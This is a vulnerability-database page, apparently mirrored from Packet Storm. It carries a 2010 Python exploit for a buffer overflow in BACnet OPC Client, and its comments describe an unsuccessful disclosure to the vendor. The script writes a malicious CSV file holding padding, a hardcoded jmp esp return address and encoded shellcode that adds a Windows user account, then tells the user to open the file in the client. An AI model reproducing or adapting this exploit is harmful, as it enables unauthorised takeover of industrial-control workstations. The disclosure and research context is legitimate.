Lucene search

K

BACnet OPC Client Buffer Overflow

🗓️ 17 Sep 2010 00:00:00Reported by Jeremy BrownType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

BACnet OPC Client Buffer Overflow exploit with details of communication with the vendor and suggested fi

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/usr/bin/python  
# bacnet.py  
# BACnet OPC Client Buffer Overflow Exploit  
# Jeremy Brown [0xjbrown41-gmail-com]  
# Sept 2010  
#   
# After communicating via several emails with the vendor, sharing details  
# about the vulnerability, as well as proof-of-concept code (I also offered  
# to send the exploit code for them to test themselves). But it was clear that  
# they weren't very interested in fixing the vulnerability. They even ended our  
# conversation with "Hi Jeremy, thanks but please don't waste my time.", and  
# quickly became unresponsive to further communication. A couple days later, I  
# notified them know of my plans to release exploit code to the public, proving  
# the vulnerability, since they weren't planning on releasing a fix. They didn't  
# respond with anything indicating plans for an update, so maybe this will help.  
#  
# If you are a customer (they seem to care much more about your concerns), I would  
# suggest contacting support at scadaengine.com and ask them to issue a fix.  
#  
# Successfully tested on Windows XP Service Pack 3 with BACnet OPC CLient 1.0.24  
#  
  
import sys  
import struct  
  
ret=0x7C96BF33 # jmp esp @ user32.dll  
  
junk="B"*185  
  
# win32_adduser - PASS=ware EXITFUNC=thread USER=sploit Size=497 Encoder=PexAlphaNum  
payload=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"  
"\x42\x30\x42\x50\x42\x50\x4b\x48\x45\x44\x4e\x53\x4b\x58\x4e\x37"  
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x51\x4b\x58"  
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x38"  
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x57\x45\x4e\x4b\x58"  
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"  
"\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x43"  
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x57"  
"\x4e\x30\x4b\x58\x42\x54\x4e\x30\x4b\x58\x42\x47\x4e\x31\x4d\x4a"  
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"  
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x36\x4e\x43\x4f\x55\x41\x43"  
"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"  
"\x42\x35\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x36\x4a\x46\x4a\x49"  
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x4d\x36"  
"\x46\x56\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x32\x4f\x42\x43\x56"  
"\x42\x42\x50\x36\x45\x36\x46\x57\x42\x52\x45\x57\x43\x47\x45\x36"  
"\x44\x37\x42\x32\x43\x47\x42\x57\x4e\x36\x4f\x46\x49\x36\x46\x57"  
"\x42\x32\x47\x37\x41\x46\x44\x57\x45\x46\x42\x42\x4f\x42\x41\x34"  
"\x46\x34\x46\x44\x42\x32\x48\x42\x48\x42\x42\x52\x50\x36\x45\x56"  
"\x46\x47\x42\x42\x4e\x46\x4f\x56\x43\x46\x41\x36\x4e\x56\x47\x56"  
"\x44\x47\x4f\x36\x45\x47\x42\x37\x42\x42\x41\x54\x46\x56\x4d\x36"  
"\x49\x46\x50\x56\x49\x36\x43\x47\x46\x47\x44\x57\x41\x56\x46\x57"  
"\x4f\x46\x44\x47\x43\x37\x42\x42\x43\x47\x42\x47\x4e\x46\x4f\x36"  
"\x49\x46\x46\x47\x42\x32\x4f\x32\x41\x34\x46\x34\x46\x34\x42\x50"  
"\x5a"  
)  
  
csv1="OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";  
csv2="\\scada,0,0,\n";  
  
if len(sys.argv)<2:  
print "Usage: "+sys.argv[0]+" <filename.csv>"  
sys.exit(0)  
  
  
file=sys.argv[1]  
  
retaddr=struct.pack("<L",ret)  
  
csv=csv1+junk+retaddr+"X"*4+payload+csv2  
  
try:  
f=open(file,"w")  
f.write(csv)  
f.close()  
  
except IOError,e:  
print e  
  
else:  
print "Open %s in the OPC client to exploit the vulnerability." % file  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo